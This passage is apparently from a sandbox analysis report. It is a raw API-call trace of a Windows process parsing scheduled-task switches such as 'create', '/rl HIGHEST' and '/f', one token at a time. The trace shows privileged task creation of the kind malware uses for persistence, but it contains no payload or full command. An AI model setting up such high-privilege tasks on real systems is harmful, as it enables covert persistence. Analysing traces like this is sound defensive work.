_ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.569] lstrlenW (lpString="|ru|") returned 4 [0155.569] lstrlenW (lpString="|rl|") returned 4 [0155.569] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0155.569] SetLastError (dwErrCode=0x490) [0155.569] lstrlenW (lpString="rp") returned 2 [0155.569] lstrlenW (lpString="rp") returned 2 [0155.569] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.569] lstrlenW (lpString="rl") returned 2 [0155.570] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.570] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rp|") returned 4 [0155.570] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.570] lstrlenW (lpString="|rp|") returned 4 [0155.570] lstrlenW (lpString="|rl|") returned 4 [0155.570] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0155.570] SetLastError (dwErrCode=0x490) [0155.570] lstrlenW (lpString="sc") returned 2 [0155.570] lstrlenW (lpString="sc") returned 2 [0155.570] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.570] lstrlenW (lpString="rl") returned 2 [0155.570] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.570] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.570] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.570] lstrlenW (lpString="|sc|") returned 4 [0155.570] lstrlenW (lpString="|rl|") returned 4 [0155.570] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0155.570] SetLastError (dwErrCode=0x490) [0155.570] lstrlenW (lpString="mo") returned 2 [0155.570] lstrlenW (lpString="mo") returned 2 [0155.570] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.570] lstrlenW (lpString="rl") returned 2 [0155.570] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.570] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|mo|") returned 4 [0155.570] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.570] lstrlenW (lpString="|mo|") returned 4 [0155.570] lstrlenW (lpString="|rl|") returned 4 [0155.570] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0155.570] SetLastError (dwErrCode=0x490) [0155.571] lstrlenW (lpString="d") returned 1 [0155.571] lstrlenW (lpString="d") returned 1 [0155.571] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.571] lstrlenW (lpString="rl") returned 2 [0155.571] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.571] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|d|") returned 3 [0155.571] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.571] lstrlenW (lpString="|d|") returned 3 [0155.571] lstrlenW (lpString="|rl|") returned 4 [0155.571] SetLastError (dwErrCode=0x490) [0155.571] lstrlenW (lpString="m") returned 1 [0155.571] lstrlenW (lpString="m") returned 1 [0155.571] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.571] lstrlenW (lpString="rl") returned 2 [0155.571] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.571] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|m|") returned 3 [0155.571] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.571] lstrlenW (lpString="|m|") returned 3 [0155.571] lstrlenW (lpString="|rl|") returned 4 [0155.571] SetLastError (dwErrCode=0x490) [0155.571] lstrlenW (lpString="i") returned 1 [0155.571] lstrlenW (lpString="i") returned 1 [0155.571] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.571] lstrlenW (lpString="rl") returned 2 [0155.571] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.571] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|i|") returned 3 [0155.571] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.571] lstrlenW (lpString="|i|") returned 3 [0155.572] lstrlenW (lpString="|rl|") returned 4 [0155.572] SetLastError (dwErrCode=0x490) [0155.572] lstrlenW (lpString="tn") returned 2 [0155.572] lstrlenW (lpString="tn") returned 2 [0155.572] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.572] lstrlenW (lpString="rl") returned 2 [0155.572] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.572] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.572] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.572] lstrlenW (lpString="|tn|") returned 4 [0155.572] lstrlenW (lpString="|rl|") returned 4 [0155.572] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0155.572] SetLastError (dwErrCode=0x490) [0155.572] lstrlenW (lpString="tr") returned 2 [0155.572] lstrlenW (lpString="tr") returned 2 [0155.572] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.572] lstrlenW (lpString="rl") returned 2 [0155.572] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.572] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tr|") returned 4 [0155.572] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.572] lstrlenW (lpString="|tr|") returned 4 [0155.572] lstrlenW (lpString="|rl|") returned 4 [0155.572] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0155.572] SetLastError (dwErrCode=0x490) [0155.572] lstrlenW (lpString="st") returned 2 [0155.572] lstrlenW (lpString="st") returned 2 [0155.572] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.572] lstrlenW (lpString="rl") returned 2 [0155.572] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.573] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|st|") returned 4 [0155.573] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.573] lstrlenW (lpString="|st|") returned 4 [0155.573] lstrlenW (lpString="|rl|") returned 4 [0155.573] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0155.573] SetLastError (dwErrCode=0x490) [0155.573] lstrlenW (lpString="sd") returned 2 [0155.573] lstrlenW (lpString="sd") returned 2 [0155.573] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.573] lstrlenW (lpString="rl") returned 2 [0155.573] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.573] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sd|") returned 4 [0155.573] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.573] lstrlenW (lpString="|sd|") returned 4 [0155.573] lstrlenW (lpString="|rl|") returned 4 [0155.573] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0155.573] SetLastError (dwErrCode=0x490) [0155.573] lstrlenW (lpString="ed") returned 2 [0155.573] lstrlenW (lpString="ed") returned 2 [0155.573] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.573] lstrlenW (lpString="rl") returned 2 [0155.573] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.573] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|ed|") returned 4 [0155.573] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.573] lstrlenW (lpString="|ed|") returned 4 [0155.573] lstrlenW (lpString="|rl|") returned 4 [0155.573] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0155.573] SetLastError (dwErrCode=0x490) [0155.573] lstrlenW (lpString="it") returned 2 [0155.573] lstrlenW (lpString="it") returned 2 [0155.573] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.574] lstrlenW (lpString="rl") returned 2 [0155.574] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.574] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|it|") returned 4 [0155.574] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.574] lstrlenW (lpString="|it|") returned 4 [0155.574] lstrlenW (lpString="|rl|") returned 4 [0155.574] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0155.574] SetLastError (dwErrCode=0x490) [0155.574] lstrlenW (lpString="et") returned 2 [0155.574] lstrlenW (lpString="et") returned 2 [0155.574] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.574] lstrlenW (lpString="rl") returned 2 [0155.574] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.574] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|et|") returned 4 [0155.574] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.574] lstrlenW (lpString="|et|") returned 4 [0155.574] lstrlenW (lpString="|rl|") returned 4 [0155.574] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0155.574] SetLastError (dwErrCode=0x490) [0155.574] lstrlenW (lpString="k") returned 1 [0155.574] lstrlenW (lpString="k") returned 1 [0155.574] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.574] lstrlenW (lpString="rl") returned 2 [0155.574] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.574] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|k|") returned 3 [0155.574] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.574] lstrlenW (lpString="|k|") returned 3 [0155.574] lstrlenW (lpString="|rl|") returned 4 [0155.574] SetLastError (dwErrCode=0x490) [0155.575] lstrlenW (lpString="du") returned 2 [0155.575] lstrlenW (lpString="du") returned 2 [0155.575] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.575] lstrlenW (lpString="rl") returned 2 [0155.575] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.575] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|du|") returned 4 [0155.575] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.575] lstrlenW (lpString="|du|") returned 4 [0155.575] lstrlenW (lpString="|rl|") returned 4 [0155.575] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0155.575] SetLastError (dwErrCode=0x490) [0155.575] lstrlenW (lpString="ri") returned 2 [0155.575] lstrlenW (lpString="ri") returned 2 [0155.575] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.575] lstrlenW (lpString="rl") returned 2 [0155.575] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.575] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|ri|") returned 4 [0155.575] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.575] lstrlenW (lpString="|ri|") returned 4 [0155.575] lstrlenW (lpString="|rl|") returned 4 [0155.575] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0155.575] SetLastError (dwErrCode=0x490) [0155.575] lstrlenW (lpString="z") returned 1 [0155.575] lstrlenW (lpString="z") returned 1 [0155.575] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.575] lstrlenW (lpString="rl") returned 2 [0155.575] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.575] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|z|") returned 3 [0155.575] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.575] lstrlenW (lpString="|z|") returned 3 [0155.576] lstrlenW (lpString="|rl|") returned 4 [0155.576] SetLastError (dwErrCode=0x490) [0155.576] lstrlenW (lpString="f") returned 1 [0155.576] lstrlenW (lpString="f") returned 1 [0155.576] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.576] lstrlenW (lpString="rl") returned 2 [0155.576] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.576] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.576] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.576] lstrlenW (lpString="|f|") returned 3 [0155.576] lstrlenW (lpString="|rl|") returned 4 [0155.576] SetLastError (dwErrCode=0x490) [0155.576] lstrlenW (lpString="v1") returned 2 [0155.576] lstrlenW (lpString="v1") returned 2 [0155.576] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.576] lstrlenW (lpString="rl") returned 2 [0155.576] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.576] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|v1|") returned 4 [0155.576] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.576] lstrlenW (lpString="|v1|") returned 4 [0155.576] lstrlenW (lpString="|rl|") returned 4 [0155.576] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0155.576] SetLastError (dwErrCode=0x490) [0155.576] lstrlenW (lpString="xml") returned 3 [0155.576] lstrlenW (lpString="xml") returned 3 [0155.576] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.576] lstrlenW (lpString="rl") returned 2 [0155.576] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.576] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|xml|") returned 5 [0155.577] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.577] lstrlenW (lpString="|xml|") returned 5 [0155.577] lstrlenW (lpString="|rl|") returned 4 [0155.577] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0155.577] SetLastError (dwErrCode=0x490) [0155.577] lstrlenW (lpString="ec") returned 2 [0155.577] lstrlenW (lpString="ec") returned 2 [0155.577] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.577] lstrlenW (lpString="rl") returned 2 [0155.577] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.577] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|ec|") returned 4 [0155.577] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.577] lstrlenW (lpString="|ec|") returned 4 [0155.577] lstrlenW (lpString="|rl|") returned 4 [0155.577] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0155.577] SetLastError (dwErrCode=0x490) [0155.577] lstrlenW (lpString="rl") returned 2 [0155.577] lstrlenW (lpString="rl") returned 2 [0155.577] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.577] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.577] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.577] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rl|") returned 4 [0155.577] lstrlenW (lpString="|rl|") returned 4 [0155.577] lstrlenW (lpString="|rl|") returned 4 [0155.577] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0155.577] SetLastError (dwErrCode=0x0) [0155.577] SetLastError (dwErrCode=0x0) [0155.577] lstrlenW (lpString="HIGHEST") returned 7 [0155.577] lstrlenW (lpString="-/") returned 2 [0155.578] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0155.578] SetLastError (dwErrCode=0x490) [0155.578] SetLastError (dwErrCode=0x490) [0155.578] SetLastError (dwErrCode=0x0) [0155.578] lstrlenW (lpString="HIGHEST") returned 7 [0155.578] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0155.578] SetLastError (dwErrCode=0x490) [0155.578] SetLastError (dwErrCode=0x0) [0155.578] _memicmp (_Buf1=0x3cd4c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.578] lstrlenW (lpString="HIGHEST") returned 7 [0155.578] lstrlenW (lpString="HIGHEST") returned 7 [0155.578] lstrlenW (lpString=" \x09") returned 2 [0155.578] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0155.578] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0155.578] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0155.578] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0155.578] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0155.578] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0155.578] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0155.578] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0155.578] GetLastError () returned 0x0 [0155.578] lstrlenW (lpString="HIGHEST") returned 7 [0155.578] lstrlenW (lpString="HIGHEST") returned 7 [0155.578] SetLastError (dwErrCode=0x0) [0155.578] SetLastError (dwErrCode=0x0) [0155.578] lstrlenW (lpString="/f") returned 2 [0155.578] lstrlenW (lpString="-/") returned 2 [0155.578] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.578] lstrlenW (lpString="create") returned 6 [0155.578] lstrlenW (lpString="create") returned 6 [0155.578] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.578] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.578] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|create|") returned 8 [0155.579] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.579] lstrlenW (lpString="|create|") returned 8 [0155.579] lstrlenW (lpString="|f|") returned 3 [0155.579] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0155.579] SetLastError (dwErrCode=0x490) [0155.579] lstrlenW (lpString="?") returned 1 [0155.579] lstrlenW (lpString="?") returned 1 [0155.579] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.579] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.579] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|?|") returned 3 [0155.579] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.579] lstrlenW (lpString="|?|") returned 3 [0155.579] lstrlenW (lpString="|f|") returned 3 [0155.579] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0155.579] SetLastError (dwErrCode=0x490) [0155.579] lstrlenW (lpString="s") returned 1 [0155.579] lstrlenW (lpString="s") returned 1 [0155.579] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.579] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.579] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|s|") returned 3 [0155.579] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.579] lstrlenW (lpString="|s|") returned 3 [0155.579] lstrlenW (lpString="|f|") returned 3 [0155.579] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0155.579] SetLastError (dwErrCode=0x490) [0155.579] lstrlenW (lpString="u") returned 1 [0155.579] lstrlenW (lpString="u") returned 1 [0155.579] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.579] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.579] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|u|") returned 3 [0155.580] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.580] lstrlenW (lpString="|u|") returned 3 [0155.580] lstrlenW (lpString="|f|") returned 3 [0155.580] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0155.580] SetLastError (dwErrCode=0x490) [0155.580] lstrlenW (lpString="p") returned 1 [0155.580] lstrlenW (lpString="p") returned 1 [0155.580] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.580] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.580] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|p|") returned 3 [0155.580] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.580] lstrlenW (lpString="|p|") returned 3 [0155.580] lstrlenW (lpString="|f|") returned 3 [0155.580] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0155.580] SetLastError (dwErrCode=0x490) [0155.580] lstrlenW (lpString="ru") returned 2 [0155.580] lstrlenW (lpString="ru") returned 2 [0155.580] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.580] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.580] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|ru|") returned 4 [0155.580] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.580] lstrlenW (lpString="|ru|") returned 4 [0155.580] lstrlenW (lpString="|f|") returned 3 [0155.580] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0155.580] SetLastError (dwErrCode=0x490) [0155.580] lstrlenW (lpString="rp") returned 2 [0155.580] lstrlenW (lpString="rp") returned 2 [0155.580] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.580] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.581] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rp|") returned 4 [0155.581] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.581] lstrlenW (lpString="|rp|") returned 4 [0155.581] lstrlenW (lpString="|f|") returned 3 [0155.581] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0155.581] SetLastError (dwErrCode=0x490) [0155.581] lstrlenW (lpString="sc") returned 2 [0155.581] lstrlenW (lpString="sc") returned 2 [0155.581] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.581] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.581] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.581] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.581] lstrlenW (lpString="|sc|") returned 4 [0155.581] lstrlenW (lpString="|f|") returned 3 [0155.581] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0155.581] SetLastError (dwErrCode=0x490) [0155.581] lstrlenW (lpString="mo") returned 2 [0155.581] lstrlenW (lpString="mo") returned 2 [0155.581] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.581] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.581] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|mo|") returned 4 [0155.581] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|f|") returned 3 [0155.581] lstrlenW (lpString="|mo|") returned 4 [0155.581] lstrlenW (lpString="|f|") returned 3 [0155.581] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0155.581] SetLastError (dwErrCode=0x490) [0155.581] lstrlenW (lpString="d") returned 1 [0155.581] lstrlenW (lpString="d") returned 1 